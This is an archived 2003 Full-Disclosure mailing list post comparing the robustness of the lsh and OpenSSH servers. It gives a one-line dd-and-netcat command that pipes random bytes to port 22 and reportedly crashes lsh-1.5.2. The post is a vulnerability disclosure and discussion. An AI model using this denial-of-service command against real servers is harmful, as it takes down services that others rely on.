full-disclosure - new ssh exploit?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: bet at rahul.net (Bennett Todd)
Subject: new ssh exploit?

2003-09-17T08:17:43 Bennett Todd:
> 2003-09-16T21:16:34 Blue Boar:
> > Out of curiosity, what leads you to believe that lshd will be
> > better in terms of future bugs vs. OpenSSH?
> 
> Good question.

Better question; thanks to a tip from a friend, I can provide
concrete evidence to the contrary.

This command:

    dd if=/dev/urandom bs=1024 count=1|nc <hostname> 22 >/dev/null

takes down an lsh-1.5.2 reliably taking no more than 2-3 tries on
average.

The same, both in the above form and with 10kb of urandom per blat,
doesn't bother openssh-3.7.1 for hundreds of tries.

I tried emailing this to lsh-bugs, got some moronic thing from some
idiot third-party anti-spam service "please send this special email
to this special place and we might think about letting your message
through". Right.

So much for lshd, at least for now. Back to the patch-n-grind of
openssh.

Anybody know of an ssh implementation --- even just the server side
--- that's actually tight clean secure code?

-Bennett
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030918/19b65d48/attachment.bin